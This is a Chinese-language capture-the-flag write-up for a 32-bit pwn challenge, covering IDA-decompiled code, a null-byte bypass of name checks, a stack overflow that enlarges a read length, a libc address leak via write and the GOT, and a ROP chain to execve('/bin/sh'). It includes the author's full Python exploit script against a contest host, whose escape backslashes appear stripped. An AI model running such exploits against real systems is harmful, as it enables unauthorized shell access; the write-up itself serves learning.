现在总算是考完试了,虽说也没能闲下来,但至少心里没考试前那么蛋疼了,就抽点空把之前的writeup给补上……
不过时间有点久了,可能细节不一定能记得那么清楚了,大概写下就是了~~~
IDA反编译得到的程序如下:
ssize_t __cdecl sub_80484AC() { ssize_t result; // eax@3 char v1; // [sp+1Ch] [bp-9Ch]@1 int buf; // [sp+9Ch] [bp-1Ch]@1 int v3; // [sp+A0h] [bp-18h]@1 int v4; // [sp+A4h] [bp-14h]@1 int v5; // [sp+A8h] [bp-10h]@1 size_t nbytes; // [sp+ACh] [bp-Ch]@1 nbytes = 16; buf = 0; v3 = 0; v4 = 0; v5 = 0; memset(&v1, 0, 0x80u); write(1, "input name:", 0xCu); read(0, &buf, nbytes + 1); if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) ) { result = -1; } else { write(1, "input slogan:", 0xEu); read(0, &v1, nbytes); result = write(1, &v1, nbytes); } return result; }
这题很明显,在第一次读入的时候,存在着溢出的问题,而这一次溢出正好可以修改到下一次读入的时候的长度那个变量,这样就可以在下一次读入的时候破掉长度限制,从而可以在下一次读入的时候进一步的溢出,修改返回值地址。
这里需要注意的是,它第一次读入之后和字符串syclover用strncmp做了个比较,这里比较的长度是8,并且strlen的判断保证读入字符串长度要不大于10,而我们溢出所需要的长度不止10,那么这里就得注意到读入字符串的时候用的read函数,而read的特点是不会被x00这种字符断掉,那么正好可以在读入的字符串中间插入x00,这样就可以过掉strlen和strncmp的判断了。
接下来就是一个困扰我好久的问题,这题的堆栈都是不可运行的,我们无法传入shellcode,而调用execve等系统调用需要知道其地址,而由于是nc过去的,不像之前做wargame的时候都是ssh上去,可以看到系统函数的地址。那么我们这里就要注意到,它给的文件中,除了主程序,还有一个libc.so,那么这里很明确,就是需要我们通过给的libc来计算出我们所需函数的地址(libc载入之后各函数的相对位置不变)。可是计算地址需要我们知道某一个libc中函数的地址,如何拿到一个函数的地址着实让我想了好久。
其实这个问题本身并不难,只是由于太习惯了做wargame时候那种SSH上去直接看的方式,所以思路没打开,其实我们很显然可以通过调用write函数来把某一个系统函数真正的地址输出除了,write函数由于它程序中使用了,所以GOT表中是由对应项的,我们可以很轻松的调用。
最后,当我们通过这样的方式输出并计算得到execve的函数地址之后,如果再次重新运行溢出其实还是会有问题的,这里就涉及到服务器端实现的方法了,服务器端应该是对于每一个请求,单独载入对应的libc运行程序,所以每一次请求的libc地址是会不同的,也就是说我们需要在一次请求中拿到地址,然后计算出execve地址后再调用,这很容易就会想到是在一轮函数调用之后,控制程序返回到整个程序的开头(栈的结构使得我们有一次机会可以控制我们溢出调用函数后返回的位置,这个在之前做wargame的时候就有过),然后开始全新的一轮,这样我们就有机会一次次的溢出,调用我们所需要的函数。其实这个方法也有个专门的名称,叫ROP(Return-oriented programming),我也是比完才知道……
至此,整个攻击流程已经清楚,下面是我比赛时的程序:
#!/usr/bin/env python #encoding:utf-8 import socket import binascii s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('218.2.197.248', 10001)) s.recv(100) s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x50x98x04x08""x04x00x00x00") result = s.recv(100) while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 4: result += s.recv(100) print result read_addr = binascii.hexlify(result[result.find('slogan') + 8:][:4][::-1]) print '0x%s' % read_addr s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x60x98x04x08""x04x00x00x00") result = s.recv(100) while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 4: result += s.recv(100) print result write_addr = binascii.hexlify(result[result.find('slogan') + 8:][:4][::-1]) print '0x%s' % write_addr print hex(0xb8240 - 0xde3a0 + int(read_addr, 16)) s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""x60x83x04x08""xacx84x04x08""x00x00x00x00""x68x98x04x08""x08x00x00x00") s.send("/bin/shx00") while result.find('slogan') == -1: result += s.recv(100) print result s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x68x98x04x08""x08x00x00x00") result = s.recv(100) while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 8: result += s.recv(100) print result print result[result.find('slogan') + 8:][:8] s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" + binascii.unhexlify(hex(0x3f430 - 0xde3a0 + int(read_addr, 16))[2:])[::-1] + "xacx84x04x08""x68x98x04x08" + 'x00' * 8) s.send('cat /home/pwn1/ffLLag_/flagn') while True: print s.recv(100)
其中前两次溢出分别是取得read和write载入内存的真实地址(其实只要获取一个就好);第三次溢出是将/bin/sh这个字符串写入内存中一个固定位置,因为execve的参数中需要用,这里我是选择写在GOT表所在位置,因为可以肯定有写权限,不会崩;第四次溢出是输出看一下写入是否正确,可以不用;第五次溢出就是调用execve运行shell了。
不得不说,这题其实不难,思路很清楚,只是由于之前从没接触过这种形式的,所以浪费了不少时间……